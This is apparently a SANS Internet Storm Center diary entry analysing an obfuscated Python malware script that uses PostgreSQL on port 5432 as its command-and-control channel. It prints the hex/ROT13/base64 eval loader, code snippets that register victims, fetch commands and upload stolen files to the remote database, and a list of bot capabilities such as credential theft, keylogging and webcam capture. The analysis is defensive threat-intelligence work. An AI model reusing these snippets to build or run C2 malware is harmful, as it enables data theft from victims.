Python Malware Using Postgresql for C2 Communications, (Fri, Aug 25th)

Category :

SANS Full Feed

Posted On :

For modern malware, having access to its C2 (Command and control) is a crucial point. There are many ways to connect to a C2 server using tons of protocols, but today, HTTP remains very common because HTTP is allowed on most networks…

I found a malicious Python script that is pretty well obfuscated. The applied technique reduces its VT  score to 6/60! It’s based on a mix of Based64- and Hex-encoded data.

joy = ‘x72x6fx74x31x33’
trust = eval(‘x6dx61x67x69x63’) + eval(‘x63x6fx64x65x63x73x2ex64x65x63x6fx64x65x28x6cx6fx76x65x2cx20x6ax6fx79x29’) + eval(‘x67x6fx64’) + eva
l(‘x63x6fx64x65x63x73x2ex64x65x63x6fx64x65x28x64x65x73x74x69x6ex79x2cx20x6ax6fx79x29’)
eval(compile(base64.b64decode(eval(‘x74x72x75x73x74′)),'<string>’,’exec’))

Note that ‘x72x6fx74x31x33’ is “ROT13!

If the payload is obfuscated, the following lines attracted my attention at the very beginning of the first-stage script:

host = “akfksfjriwjerijweijriewjesjresjfsdfmsdkfjksdjfksdjfsdf”
user = “https://discord.gg/ZHnJfPS6”
database = “https://discord.gg/ZHnJfPS6”
password = “https://discord.gg/ZHnJfPS6”
port = 5432

The port 5432 is used to connect to Postgresql database servers! Unfortunately, it was not possible to get the database server connection details. Probably, the script was submitted to VT as a test. The presence of this line also reveals that SQL queries will be performed:

import psycopg2

The decoded payload contains a lot of SQL queries and reveals C2 communications.

The computer registration:

self.createCur()
self.devid = str(randint(0, 999999))
self.cur.execute(“INSERT INTO zday (devid, ip, hostname) VALUES (‘” + self.devid + “‘, ‘” + ip + “‘, ‘” + host + “‘)”)
self.conn.commit()
self.cur.close()

Reception of commands to execute:

self.createCur()
self.cur.execute(“SELECT command FROM zday WHERE devid = ‘” + self.devid + “‘”)
res = self.cur.fetchone()
command = res[0]
if devmode: print(“command: ” + str(command))
if command is not None:
self.cur.close()
self.parseCommand(command)
else:
self.cur.close()

Upload a file:

self.createCur()
self.cur.execute(f”UPDATE zday SET file = {psycopg2.Binary(self.get_bytes_from_file(path))} WHERE devid = ‘” + self.devid + “‘”)
self.conn.commit()
self.cur.close()

Thanks to the parseCommand() function analysis, we can build a list of the bot capabilities:

getPublicIp
getWifiPasses
dir
addToWinStartup
SVCSploit
getCDIR
addLocalToAdmin
screenshot.get
getVersion
sysInfo
disconnect
killKeylogger
fireFig
userPriv
storedCred
netCon
dnsList
‘netConf
arpCache
localAdmin
samBak
schedTasks
‘regup
webcamPic
hideMe
runas
timedcommand
moveScript
selfUpdate
msgBox
changeWallpaper
getfile
gotfile
gotfilekey

I searched for similar scripts with valid credentials, but nothing was found yet. If you spotted the same kind of script, please share!

This is another good proof that egress filtering must be in place to prevent hosts from communicating through exotic ports! (5432 in this case). Stay safe!

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.